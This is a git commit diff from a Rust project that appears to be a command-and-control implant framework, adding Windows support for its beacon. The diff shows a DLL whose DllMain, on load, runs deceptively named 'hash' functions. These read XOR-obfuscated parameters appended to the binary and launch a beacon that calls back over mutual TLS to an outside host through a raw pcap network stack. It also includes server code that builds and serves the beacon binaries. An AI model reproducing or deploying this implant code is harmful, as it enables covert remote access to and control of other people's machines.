feat: made sure everything worked on Windows

This commit is contained in:
Andrew Rioux 2025-02-14 13:43:38 -05:00
parent c0fe4f2bdb
commit 4e0944e4c1
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
16 changed files with 387 additions and 227 deletions

8
Cargo.lock generated
View File

@ -3496,8 +3496,14 @@ name = "sparse-windows-beacon"
version = "2.0.0"
dependencies = [
"anyhow",
"pcap-sys",
"async-trait",
"sparse-actions",
"sparse-beacon",
"thiserror 2.0.11",
"tokio",
"windows",
"windows-result",
"windows-strings",
"winreg",
]

View File

@ -163,7 +163,6 @@ extern "C" {
pub fn pcap_setfilter(dev: *mut PcapDev, fp: *const BpfProgram) -> c_int;
pub fn pcap_sendpacket(p: *mut PcapDev, buf: *const c_uchar, size: c_int) -> c_int;
pub fn pcap_setnonblock(dev: *mut PcapDev, nonblock: c_int, errbuf: *mut c_char) -> c_int;
pub fn pcap_get_selectable_fd(p: *mut PcapDev) -> c_int;
pub fn pcap_next_ex(
p: *mut PcapDev,
header: *mut *mut PktHeader,
@ -175,3 +174,8 @@ extern "C" {
extern "C" {
pub fn pcap_getevent(p: *mut PcapDev) -> windows::Win32::Foundation::HANDLE;
}
#[cfg(unix)]
extern "C" {
pub fn pcap_get_selectable_fd(p: *mut PcapDev) -> c_int;
}

View File

@ -406,18 +406,18 @@ unsafe impl Sync for WaitHandle {}
impl WaitHandle {
#[cfg(windows)]
pub fn wait(&self, timeout: Option<Duration>) -> error::Result<()> {
use windows::Win32::System::Threading::{WaitForSingleObject, INFINITE};
use windows::Win32::System::Threading::WaitForSingleObject;
let timeout = timeout
.map(|t| (t.as_millis() & 0xFFFFFFFF) as u32)
.unwrap_or(50);
unsafe {
if WaitForSingleObject(self.0, timeout).0 != 0 {
Err(std::io::Error::last_os_error()).map_err(Into::into)
} else {
Ok(())
}
let code = unsafe { WaitForSingleObject(self.0, timeout).0 };
if code == 0 || code == 0x102 {
Ok(())
} else {
Err(std::io::Error::last_os_error()).map_err(Into::into)
}
}

View File

@ -9,6 +9,7 @@ pub struct BeaconRoute {
pub interface_index: usize,
}
#[derive(Debug)]
pub struct BeaconNetworkingInfo {
pub routes: Vec<BeaconRoute>,
pub interfaces: Vec<BeaconInterface>,

View File

@ -1,32 +1,40 @@
use std::{future::Future, pin::Pin, task::{self, Poll}};
use std::{
future::Future,
pin::Pin,
task::{self, Poll},
};
use http::Uri;
use hyper_util::{client::legacy::Client, rt::{TokioExecutor, TokioIo}};
use hyper_util::{
client::legacy::Client,
rt::{TokioExecutor, TokioIo},
};
use rustls::RootCertStore;
use tower_service::Service;
use sparse_actions::payload_types::Parameters;
use crate::{adapter, error, tcp::{self, setup_network}};
use crate::{
adapter, error,
tcp::{self, setup_network},
};
#[derive(Clone)]
pub struct ServerConnector<T>
where
T: adapter::BeaconAdapter + Clone + Send + 'static
T: adapter::BeaconAdapter + Clone + Send + 'static,
{
adapter: T,
parameters: Parameters
parameters: Parameters,
}
impl<T> Service<Uri> for ServerConnector<T>
where
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
{
type Response = TokioIo<tcp::NetInterfaceHandle>;
type Error = error::BeaconError<T::Error>;
type Future = Pin<Box<
dyn Future<Output = Result<Self::Response, Self::Error>> + Send
>>;
type Future = Pin<Box<dyn Future<Output = Result<Self::Response, Self::Error>> + Send>>;
fn poll_ready(&mut self, _: &mut task::Context<'_>) -> Poll<Result<(), Self::Error>> {
Poll::Ready(Ok(()))
@ -36,11 +44,7 @@ where
Box::pin({
let adapter = self.adapter.clone();
let params = self.parameters.clone();
async move {
setup_network(adapter, params)
.await
.map(TokioIo::new)
}
async move { setup_network(adapter, params).await.map(TokioIo::new) }
})
}
}
@ -52,32 +56,27 @@ pub async fn obtain_https_client<T, B>(
where
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
B: hyper::body::Body + Send,
<B as hyper::body::Body>::Data: Send
<B as hyper::body::Body>::Data: Send,
{
let server_cert = rustls::pki_types::CertificateDer::from(
parameters.pubkey_cert[..parameters.pubkey_cert_size as usize].to_owned()
parameters.pubkey_cert[..parameters.pubkey_cert_size as usize].to_owned(),
);
let client_cert = rustls::pki_types::CertificateDer::from(
parameters.client_cert[..parameters.client_cert_length as usize].to_owned()
parameters.client_cert[..parameters.client_cert_length as usize].to_owned(),
);
let client_key = rustls::pki_types::PrivateKeyDer::try_from(
parameters.client_key[..parameters.client_key_length as usize].to_owned()
parameters.client_key[..parameters.client_key_length as usize].to_owned(),
)
.map_err(|_| rustls::Error::InvalidCertificate(
rustls::CertificateError::BadEncoding
))?;
.map_err(|_| rustls::Error::InvalidCertificate(rustls::CertificateError::BadEncoding))?;
let mut root_store = RootCertStore::empty();
root_store.add(server_cert.clone())?;
let tls_config = rustls::ClientConfig::builder()
.with_root_certificates(root_store)
.with_client_auth_cert(
vec![client_cert, server_cert],
client_key
)?;
.with_client_auth_cert(vec![client_cert, server_cert], client_key)?;
let https = hyper_rustls::HttpsConnectorBuilder::new()
.with_tls_config(tls_config)
@ -86,11 +85,10 @@ where
.enable_http2()
.wrap_connector(ServerConnector {
adapter: adapter.clone(),
parameters: parameters.clone()
parameters: parameters.clone(),
});
let client = Client::builder(TokioExecutor::new())
.build(https);
let client = Client::builder(TokioExecutor::new()).build(https);
Ok(client)
}

View File

@ -1,5 +1,8 @@
use sparse_actions::payload_types::Parameters;
use http_body_util::{BodyExt, Empty};
use hyper::Request;
mod callback;
mod socket;
mod tcp;
@ -8,10 +11,26 @@ pub mod adapter;
pub mod error;
pub use error::BeaconError;
pub async fn run_beacon_step<A>(host_adapter: A, params: Parameters) -> Result<(), BeaconError<A::Error>>
pub async fn run_beacon_step<A>(
host_adapter: A,
params: Parameters,
) -> Result<(), BeaconError<A::Error>>
where
A: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
{
let client = callback::obtain_https_client(&host_adapter, &params).await?;
for _ in 1..5 {
let req = Request::builder()
.uri("https://sparse.com/hidden_sparse/test".parse::<hyper::Uri>()?)
.body(Empty::<bytes::Bytes>::new())?;
let resp = client.request(req).await?;
println!("{:?} {:?}", resp.version(), resp.status());
let body = resp.into_body();
let body = body.collect().await;
println!("{:?}", body);
}
Ok(())
}

View File

@ -35,7 +35,11 @@ impl RawSocket {
lower.activate()?;
lower.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?;
if cfg!(target_os = "linux") {
lower.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?;
} else {
lower.set_filter(&format!("arp or tcp port {port}"), true, None)?;
}
Ok(Self {
inner: SocketInner { lower },

View File

@ -5,6 +5,7 @@ use std::{
task::{Context, Poll},
};
use hyper_util::client::legacy::connect;
use smoltcp::{
iface::{Config, Interface, SocketHandle, SocketSet},
socket::tcp::{RecvError, SendError, Socket, SocketBuffer, State},
@ -13,10 +14,9 @@ use smoltcp::{
};
use tokio::{
io::{AsyncRead, AsyncWrite},
sync::broadcast,
task::{spawn_blocking, JoinHandle},
sync::broadcast
};
use hyper_util::client::legacy::connect;
use sparse_actions::payload_types::Parameters;
@ -32,7 +32,6 @@ pub struct NetInterfaceHandle {
impl Drop for NetInterfaceHandle {
fn drop(&mut self) {
println!("Running drop for net interface handle; {} copies exist", Arc::strong_count(&self.net));
let _ = self.close_background.send(());
self.background_process.abort();
}
@ -288,33 +287,33 @@ where
ready_wait.wait(iface.poll_delay(timestamp, &sockets).map(Into::into))?;
}
if cfg!(debug_assertions) {
println!("Connected!");
}
let net = Arc::new(Mutex::new((sockets, device, iface)));
let background_process = spawn_blocking({
let net = Arc::clone(&net);
move || {
loop {
if close_background_recv.try_recv().is_ok() {
println!("Running drop for background thread; {} copies exist", Arc::strong_count(&net));
break;
}
let delay = {
let Ok(mut guard) = net.lock() else {
continue;
};
let (ref mut s_guard, ref mut d_guard, ref mut i_guard) = *guard;
let timestamp = Instant::now();
i_guard.poll(timestamp, d_guard, s_guard);
i_guard.poll_delay(timestamp, s_guard)
};
let _ = ready_wait.wait(delay.map(Into::into));
move || loop {
if close_background_recv.try_recv().is_ok() {
break;
}
let delay = {
let Ok(mut guard) = net.lock() else {
continue;
};
let (ref mut s_guard, ref mut d_guard, ref mut i_guard) = *guard;
let timestamp = Instant::now();
i_guard.poll(timestamp, d_guard, s_guard);
i_guard.poll_delay(timestamp, s_guard)
};
let _ = ready_wait.wait(delay.map(Into::into));
}
});

View File

@ -5,7 +5,7 @@ use std::{
use axum::routing::{Router, get, post};
use rcgen::{Certificate, CertificateParams, KeyPair};
use rustls::{server::WebPkiClientVerifier, RootCertStore};
use rustls::{RootCertStore, server::WebPkiClientVerifier};
use sqlx::SqlitePool;
use tokio::task::JoinHandle;
@ -129,9 +129,7 @@ pub async fn start_listener(
let ca_cert = ca_params.self_signed(&ca_keypair)?;
let server_key = KeyPair::generate()?;
let Ok(server_params) = CertificateParams::new(
vec![listener.domain_name.clone()]
) else {
let Ok(server_params) = CertificateParams::new(vec![listener.domain_name.clone()]) else {
return Err(crate::error::Error::Generic(format!(
"Could not generate new server keychain"
)));
@ -154,8 +152,7 @@ pub async fn start_listener(
let mut root_store = RootCertStore::empty();
root_store.add(ca_cert)?;
let client_verifier = WebPkiClientVerifier::builder(root_store.into())
.build()?;
let client_verifier = WebPkiClientVerifier::builder(root_store.into()).build()?;
let mut tls_config = rustls::ServerConfig::builder()
.with_client_cert_verifier(client_verifier)

View File

@ -458,7 +458,7 @@ pub fn DisplayTemplates(
"Download beacon (Windows Service)"
</a>
})}
{(template.operating_system != "windows")
{/*(template.operating_system != "windows")
.then(|| view! {
<a
class="button"
@ -467,7 +467,7 @@ pub fn DisplayTemplates(
>
"Download beacon (Unix loader)"
</a>
})}
})*/}
<button
on:click={
let template_id = template.template_id;

View File

@ -23,13 +23,12 @@ pub(crate) mod beacon_binaries {
include_bytes!(std::env!("SPARSE_INSTALLER_WINDOWS"));
pub const LINUX_BEACON: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_LINUX"));
pub const LINUX_BEACON_LOADER: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_LINUX_LOADER"));
pub const FREEBSD_BEACON: &'static [u8] =
include_bytes!(std::env!("SPARSE_BEACON_FREEBSD"));
pub const LINUX_BEACON_LOADER: &'static [u8] =
include_bytes!(std::env!("SPARSE_BEACON_LINUX_LOADER"));
pub const FREEBSD_BEACON: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_FREEBSD"));
pub const FREEBSD_BEACON_LOADER: &'static [u8] =
include_bytes!(std::env!("SPARSE_BEACON_FREEBSD_LOADER"));
pub const WINDOWS_BEACON: &'static [u8] =
include_bytes!(std::env!("SPARSE_BEACON_WINDOWS"));
pub const WINDOWS_BEACON: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_WINDOWS"));
pub const WINDOWS_BEACON_SVC: &'static [u8] =
include_bytes!(std::env!("SPARSE_BEACON_WINDOWS_SVC"));
}
@ -103,7 +102,7 @@ pub struct AppState {
async fn get_parameters_bytes(
template_id: i64,
db: SqlitePool
db: SqlitePool,
) -> Result<(Vec<u8>, String), crate::error::Error> {
use rand::{rngs::OsRng, TryRngCore};
use sparse_actions::payload_types::{Parameters_t, XOR_KEY};
@ -118,7 +117,9 @@ async fn get_parameters_bytes(
r"SELECT operating_system, source_ip, source_mac, source_mode, source_netmask,
source_gateway, port, public_ip, domain_name, certificate, client_cert, client_key,
source_interface
FROM beacon_template JOIN beacon_listener"
FROM beacon_template JOIN beacon_listener
WHERE template_id = ?",
template_id
)
.fetch_one(&db)
.await?;
@ -234,17 +235,18 @@ pub struct BeaconDownloadParams {
pub async fn download_beacon(
Path(template_id): Path<i64>,
State(db): State<AppState>,
Query(beacon_params): Query<BeaconDownloadParams>
Query(beacon_params): Query<BeaconDownloadParams>,
) -> Result<impl IntoResponse, crate::error::Error> {
println!("Params: {beacon_params:?}");
let (parameters_bytes, operating_system) = get_parameters_bytes(template_id, db.db).await?;
let binary = if beacon_params.use_svc.unwrap_or_default() {
tracing::debug!("Downloading windows service");
"windows-svc".to_string()
} else if beacon_params.use_loader.unwrap_or_default() {
tracing::debug!("Downloading {operating_system} loader");
format!("{operating_system}-loader")
} else {
tracing::debug!("Downloading basic beacon for {operating_system}");
operating_system.clone()
};
@ -287,7 +289,7 @@ pub async fn download_beacon_installer(
header::CONTENT_DISPOSITION,
format!(
r#"attachement; filename="sparse-installer{}""#,
if operating_system.starts_with("windows") {
if operating_system.starts_with("windows") {
".exe"
} else {
""
@ -322,7 +324,10 @@ pub async fn serve_web(
};
let app = Router::new()
.route("/binaries/installer/:template_id", get(download_beacon_installer))
.route(
"/binaries/installer/:template_id",
get(download_beacon_installer),
)
.route("/binaries/beacon/:template_id", get(download_beacon))
.leptos_routes_with_context(
&state,

View File

@ -1,6 +1,6 @@
use std::io::SeekFrom;
use tokio::io::{AsyncSeekExt, AsyncReadExt};
use tokio::io::{AsyncReadExt, AsyncSeekExt};
use sparse_actions::payload_types::{Parameters, XOR_KEY};
use sparse_beacon::adapter::BeaconAdapter;

View File

@ -8,8 +8,14 @@ crate-type = ["cdylib"]
[dependencies]
anyhow = "1.0.95"
pcap-sys = { version = "0.1.0", path = "../pcap-sys" }
windows = { version = "0.59.0", features = ["Win32_NetworkManagement_IpHelper", "Win32_NetworkManagement_Ndis", "Win32_Networking_WinSock", "Win32_System_SystemServices", "Win32_UI_WindowsAndMessaging"] }
async-trait = "0.1.86"
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
sparse-beacon = { version = "0.7.0", path = "../sparse-beacon" }
thiserror = "2.0.11"
tokio = { version = "1.43.0", features = ["fs", "io-std", "io-util", "rt-multi-thread", "sync"] }
windows = { version = "0.59.0", features = ["Win32_NetworkManagement_IpHelper", "Win32_NetworkManagement_Ndis", "Win32_Networking_WinSock", "Win32_System_LibraryLoader", "Win32_System_SystemServices", "Win32_UI_WindowsAndMessaging"] }
windows-result = "0.3.0"
windows-strings = "0.3.0"
winreg = "0.55"
[features]

View File

@ -0,0 +1,169 @@
use std::net::Ipv4Addr;
use sparse_beacon::{
adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute},
error,
};
#[derive(thiserror::Error, Debug)]
pub enum WindowsAdapterError {
#[error("windows error")]
Win32(#[from] windows_result::Error),
}
impl sparse_beacon::error::AdapterError for WindowsAdapterError {}
#[derive(Clone)]
pub struct WindowsAdapter;
#[async_trait::async_trait]
impl BeaconAdapter for WindowsAdapter {
type Error = WindowsAdapterError;
fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8> {
[&br"\Device\NPF_"[..], &interface.name].concat()
}
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError<Self::Error>> {
use std::slice;
unsafe {
fn nul_ptr_to_slice<'a, T>(ptr: *const T) -> &'a [T]
where
T: PartialEq + From<u8>,
{
let mut len = 0;
unsafe {
while *ptr.add(len) != T::from(0) {
len += 1;
}
slice::from_raw_parts(ptr, len)
}
}
use windows::Win32::NetworkManagement::IpHelper::{
GetAdaptersAddresses, GAA_FLAG_INCLUDE_GATEWAYS, GET_ADAPTERS_ADDRESSES_FLAGS,
IP_ADAPTER_ADDRESSES_LH,
};
let mut size_pointer: u32 = 0;
_ = GetAdaptersAddresses(
2,
GET_ADAPTERS_ADDRESSES_FLAGS(0),
None,
None,
&mut size_pointer as *mut _,
);
let mut address_buffer = vec![0; size_pointer as usize];
let err = GetAdaptersAddresses(
2,
GAA_FLAG_INCLUDE_GATEWAYS,
None,
Some(address_buffer.as_mut_ptr() as *mut _),
&mut size_pointer as *mut _,
);
if err != 0 {
Err(std::io::Error::last_os_error())?;
}
let mut current_address = address_buffer.as_mut_ptr() as *mut IP_ADAPTER_ADDRESSES_LH;
let mut routes = vec![];
let mut interfaces = vec![];
while !current_address.is_null() {
let name = nul_ptr_to_slice((*current_address).AdapterName.0 as *const _).to_vec();
let mtu = (*current_address).Mtu;
let Ok(mac_addr) = &(*current_address).PhysicalAddress
[..(*current_address).PhysicalAddressLength as usize]
.try_into()
else {
current_address = (*current_address).Next;
continue;
};
let interface_index = interfaces.len();
interfaces.push(BeaconInterface {
name,
mtu: mtu as u16,
mac_addr: *mac_addr,
});
let mut gateway = (*current_address).FirstGatewayAddress;
while !gateway.is_null() {
let ipaddr = (*(*gateway).Address.lpSockaddr).sa_data;
let family = (*(*gateway).Address.lpSockaddr).sa_family.0;
if family != 2 {
// AF_INET
gateway = (*gateway).Next;
continue;
}
let gateway_addr = Ipv4Addr::new(
ipaddr[2] as u8,
ipaddr[3] as u8,
ipaddr[4] as u8,
ipaddr[5] as u8,
);
let network = (Ipv4Addr::new(0, 0, 0, 0), 0);
let mut uni_address = (*current_address).FirstUnicastAddress;
while !uni_address.is_null() {
let ipaddr = (*(*uni_address).Address.lpSockaddr).sa_data;
let family = (*(*uni_address).Address.lpSockaddr).sa_family.0;
if family != 2 {
uni_address = (*uni_address).Next;
continue;
}
// indices 0 and 1 are used to store the port
// ...it's an interface... why does it have a port...
let ipaddr = Ipv4Addr::new(
ipaddr[2] as u8,
ipaddr[3] as u8,
ipaddr[4] as u8,
ipaddr[5] as u8,
);
let cidr = (*uni_address).OnLinkPrefixLength as u32;
let mask = (0xFFFFFFFFu32.overflowing_shr(32 - cidr))
.0
.overflowing_shl(32 - cidr)
.0;
if (mask & u32::from(gateway_addr)) != (mask & u32::from(ipaddr)) {
uni_address = (*uni_address).Next;
continue;
}
routes.push(BeaconRoute {
network,
gateway: (gateway_addr, (*uni_address).OnLinkPrefixLength),
interface_index,
});
break;
}
gateway = (*gateway).Next;
}
current_address = (*current_address).Next;
}
Ok(BeaconNetworkingInfo { routes, interfaces })
}
}
}

View File

@ -1,8 +1,20 @@
use windows::{
Win32::{System::SystemServices::DLL_PROCESS_ATTACH, UI::WindowsAndMessaging::*},
core::*,
use std::io::SeekFrom;
use tokio::io::{AsyncReadExt, AsyncSeekExt};
use windows::Win32::{
Foundation::{FreeLibrary, HMODULE, MAX_PATH},
System::{
LibraryLoader::{
GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, GetModuleFileNameA, GetModuleHandleExW,
},
SystemServices::DLL_PROCESS_ATTACH,
},
};
use sparse_actions::payload_types::{Parameters, XOR_KEY};
mod adapter;
#[unsafe(no_mangle)]
pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 {
if dw_reason == DLL_PROCESS_ATTACH {
@ -19,10 +31,62 @@ pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 {
}
fn hash_internals() -> std::result::Result<(), std::io::Error> {
unsafe {
MessageBoxW(None, w!("Hi!"), w!("There!"), MB_OK);
let curr_module = HMODULE(std::ptr::null_mut());
let comp_hash = compute_hash as extern "C" fn() -> ();
if let Err(_) = unsafe {
GetModuleHandleExW(
GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS,
windows_strings::PCWSTR::from_raw(comp_hash as *const () as *const _),
curr_module.0 as *mut _,
)
} {
return Err(std::io::Error::last_os_error());
}
let mut name = vec![0u8; MAX_PATH as usize];
let name_len = unsafe { GetModuleFileNameA(Some(curr_module), &mut name) as usize };
unsafe {
let _ = FreeLibrary(curr_module);
}
if name_len == 0 {
return Err(std::io::Error::last_os_error());
}
let rt = tokio::runtime::Builder::new_multi_thread()
.enable_all()
.build()?;
rt.block_on(async move { unsafe { hash_stage_2(name[..name_len].to_vec()) }.await })?;
// MessageBoxW(None, w!("Hi!"), w!("There!"), MB_OK);
Ok(())
}
async unsafe fn hash_stage_2(name: Vec<u8>) -> std::result::Result<(), std::io::Error> {
let mut binary_file = tokio::fs::OpenOptions::new()
.read(true)
.open(unsafe { std::str::from_utf8_unchecked(&name) })
.await?;
let parameters_size = std::mem::size_of::<Parameters>() as i64;
binary_file.seek(SeekFrom::End(-parameters_size)).await?;
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
binary_file.read_to_end(&mut parameters_buffer).await?;
for b in parameters_buffer.iter_mut() {
*b = *b ^ (XOR_KEY as u8);
}
let parameters: Parameters =
unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) };
let _ = sparse_beacon::run_beacon_step(adapter::WindowsAdapter, parameters).await;
Ok(())
}

View File

@ -1,144 +1,32 @@
fn main() -> anyhow::Result<()> {
let devs = pcap_sys::PcapDevIterator::new()?;
use std::io::SeekFrom;
for dev in devs {
println!("{dev}");
use tokio::io::{AsyncReadExt, AsyncSeekExt};
use sparse_actions::payload_types::{Parameters, XOR_KEY};
mod adapter;
#[tokio::main]
async fn main() -> anyhow::Result<()> {
let mut binary_file = tokio::fs::OpenOptions::new()
.read(true)
.open(std::env::current_exe()?)
.await?;
let parameters_size = std::mem::size_of::<Parameters>() as i64;
binary_file.seek(SeekFrom::End(-parameters_size)).await?;
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
binary_file.read_to_end(&mut parameters_buffer).await?;
for b in parameters_buffer.iter_mut() {
*b = *b ^ (XOR_KEY as u8);
}
unsafe {
use std::ffi::CStr;
let parameters: Parameters =
unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) };
use windows::Win32::{
NetworkManagement::IpHelper::{
GAA_FLAG_INCLUDE_GATEWAYS, GET_ADAPTERS_ADDRESSES_FLAGS, GetAdaptersAddresses,
IP_ADAPTER_ADDRESSES_LH,
},
Networking::WinSock::AF_INET,
};
let mut size_pointer: u32 = 0;
let err = GetAdaptersAddresses(
2,
GET_ADAPTERS_ADDRESSES_FLAGS(0),
None,
None,
&mut size_pointer as *mut _,
);
let mut address_buffer = vec![0; size_pointer as usize];
let err2 = GetAdaptersAddresses(
2,
GAA_FLAG_INCLUDE_GATEWAYS,
None,
Some(address_buffer.as_mut_ptr() as *mut _),
&mut size_pointer as *mut _,
);
if err2 != 0 {
eprintln!("Error code received for second one: {err2}");
Err(std::io::Error::last_os_error())?;
}
let mut current_address = address_buffer.as_mut_ptr() as *mut IP_ADAPTER_ADDRESSES_LH;
fn pwstr_to_string(pwstr: *mut u16) -> String {
use std::ffi::OsString;
use std::os::windows::ffi::OsStringExt;
use std::slice;
if pwstr.is_null() {
return String::new();
}
// Find the length of the null-terminated UTF-16 string
let mut len = 0;
unsafe {
while *pwstr.add(len) != 0 {
len += 1;
}
// Convert UTF-16 slice to Rust String
let wide_slice = slice::from_raw_parts(pwstr, len);
OsString::from_wide(wide_slice)
.to_string_lossy()
.into_owned()
}
}
while !current_address.is_null() {
println!("-----");
println!(
"Name: {:?} ({:?})",
CStr::from_ptr((*current_address).AdapterName.0 as *const _),
pwstr_to_string((*current_address).FriendlyName.0)
);
println!("Mtu: {:?}", (*current_address).Mtu);
println!(
"Physical address: {:X?}",
&(*current_address).PhysicalAddress
[..(*current_address).PhysicalAddressLength as usize]
);
println!("IP addresses:");
let mut unicast_address = (*current_address).FirstUnicastAddress;
while !unicast_address.is_null() {
let address = (*(*unicast_address).Address.lpSockaddr).sa_data;
println!(
"\tIP address: {}.{}.{}.{}/{}",
address[2] as u8,
address[3] as u8,
address[4] as u8,
address[5] as u8,
(*unicast_address).OnLinkPrefixLength
);
unicast_address = (*unicast_address).Next;
}
println!("Gateways:");
let mut gateway = (*current_address).FirstGatewayAddress;
while !gateway.is_null() {
let address = (*(*gateway).Address.lpSockaddr).sa_data;
println!(
"\tIP address: {}.{}.{}.{}",
address[2] as u8, address[3] as u8, address[4] as u8, address[5] as u8
);
gateway = (*gateway).Next;
}
println!("Routes:");
let mut route = (*current_address).FirstPrefix;
while !route.is_null() {
let address = (*(*route).Address.lpSockaddr).sa_data;
println!(
"\tRoute: {}.{}.{}.{}/{}",
address[2] as u8,
address[3] as u8,
address[4] as u8,
address[5] as u8,
(*route).PrefixLength
);
route = (*route).Next;
}
println!("\n");
current_address = (*current_address).Next;
}
drop(address_buffer);
}
_ = sparse_beacon::run_beacon_step(adapter::WindowsAdapter, parameters).await?;
Ok(())
}